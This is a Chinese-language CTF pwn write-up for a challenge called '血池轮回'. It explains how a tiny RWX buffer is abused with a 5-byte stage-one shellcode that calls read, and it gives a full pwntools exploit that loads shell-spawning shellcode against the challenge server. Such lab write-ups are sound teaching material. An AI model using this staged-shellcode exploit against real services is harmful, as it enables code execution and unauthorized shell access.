血池轮回
.png)
loop函数:
.png)
main函数就调用了一个loop函数,没有后门函数,我们看loop函数。
make_code_executable是一个经过页对齐后mprotect出权限7的函数,这里make_code_executable((unsigned __int64)&code_2, 32);就是从code_2开始一页都是权限7(4096字节大小),那我们可以考虑shellcode,
然后是实际起效的循环if ( idx > 9 ),最多循环9次,然后会让我们写入一字节((int)read(0, &code_2, 1u)),然后写入五字节read(0, &buf_, 5u);,然后((void (fastcall *)(int64, QWORD, QWORD))buf)(1, 0, 0);这里代表执行buf_的代码
.png)
我们可以看到,实际上第一次输入的一字节和第二次输入的5字节是连起来的,而且都是权限7,也就是我们每次有6字节shellcode的输入机会,后续循环都是覆盖这六字节的位置,所以我们考虑直接利用6字节写一个read来读入shellcode,既然输入空间这么小,我们只能利用栈上的数据来当作pop的参数了,我们在((void (fastcall *)(int64, QWORD, QWORD))buf)(1, 0, 0);下断点看看什么情况
.png)
我们要看的是rdx(写入长度),rdi(0),rax(0),rsi(写入地址),我们注意到这四个都不对,首先syscall是必须的,2字节,解决rdx,这个我们pop rdi把栈上的返回地址pop进rdi就行(返回地址数值很大),这里用了1字节,然后是清空rdi和rax,这里最短的是pop出栈上的0,只有一字节一个指令,xor要两字节,重点是rsi的设置,我们要传入一个地址,如果是常规的直接传入太大,我们这里注意到rax刚好存的是buf_+1的地址,我们这里直接交换rax和rsi不就能同时搞定两个寄存器吗,我们算算还有多少字节的空间
这里由于是从buf_开始执行,所以我们实际上只有5字节的空间,syscall2字节,两个pop2字节,我们就剩一字节了,所以这里我们只能用 xchg eax, esi,这里不能用64位寄存器,用64位会多一字节,由于x64的规则,会自动清空高32位,所以说大多数情况下对eax操作和对rax操作都是一样的,一般来说xchg不是一字节,但是CPU 设计者专门预留了只要你的指令是 xchg eax, 某某某,CPU 就直接用 1 个字节搞定,这个是rax和eax特殊的一点,所以这里刚好5字节够用
当然,我们用了两个pop我们也要看看栈上的情况是否符合我们的预期
.png)
首先我们执行buf_的是一个call指令,它会把下一个指令的地址压栈,所以rsp指向的是下一个指令的地址,我们pop rdx是符合预期的,然后rsp指向的就是我们图中的第一个,我们看到是0,我们直接pop rdi是可以的
那我们5字节构建的read的shellcode就成功了,后面就是用sh的shellcode来getshell了
EXP:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = 'nc nc1.ctfplus.cn 17576'
file_name = './pwn'
elf = ELF(file_name)
context.binary = elf
gdb_ = 1 if ('gdb' in sys.argv) else 0
switch = 1 if ('remote' in sys.argv) else 0
debug = 0 if ('deoff' in sys.argv) else 1
error = 1 if ('error' in sys.argv) else 0
if debug:
context(log_level='debug')
if error:
context(log_level='error')
bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'),
# ('system', 'libc')
0x1405
]
gdb_cmd = ''
if gdb_ and switch == 0:
gdb_cmd += "set breakpoint pending on\n"
for b in bps:
if isinstance(b, int):
gdb_cmd += f"b *$rebase({hex(b)})\n"
elif isinstance(b, str):
gdb_cmd += f"b {b}\n"
gdb_cmd += "c\n"
if switch:
parts = target.replace(':', ' ').split()
host = parts[-2]
port = int(parts[-1])
p = remote(host, port)
elif gdb_:
p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
p = process(file_name)
def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def r(numb=4096): return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(): return p.recvline()
def ra(t=None): return p.recvall(timeout=t)
def cl(): return p.close()
def it(): return p.interactive()
def uc64(data): return u64(data.rjust(8, b'\x00'))
def uu64(data): return u64(data.ljust(8, b'\x00'))
def addr(off): return lg(hex(off), (ret := elf.address + off)) or ret
def cb(data): return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data): return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def ntpie(leak, offset, name='PIE'): return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def ga(delim=b'|', name='Leak'): return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16) for a in re.findall(b'0x[0-9a-fA-F]+', ru(delim))])]
def base(val, binary=elf): return binary.address + val
def fill(num, content=b'A'): return (content.encode() if isinstance(content, str) else content) * num
def search(s): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next(elf.search(s if isinstance(s, bytes) else s.encode())))) or addr
_rop_cache = {}
def gg(s):
target = elf
if target not in _rop_cache:
_rop_cache[target] = ROP(target)
rop = _rop_cache[target]
instrs = [x.strip() for x in s.split(';')]
if (gadget := rop.find_gadget(instrs)):
lg(s, gadget.address)
return gadget.address
else:
raise ValueError(f"[-] Critical: Gadget not found: {s}")
#################################################################################
s(b'0')
shellcode = asm(f"pop rdx; pop rdi; xchg eax, esi; syscall;")
shellcode += asm("nop;"*0x5 + shellcraft.sh())
s(shellcode)
it()
题目链接: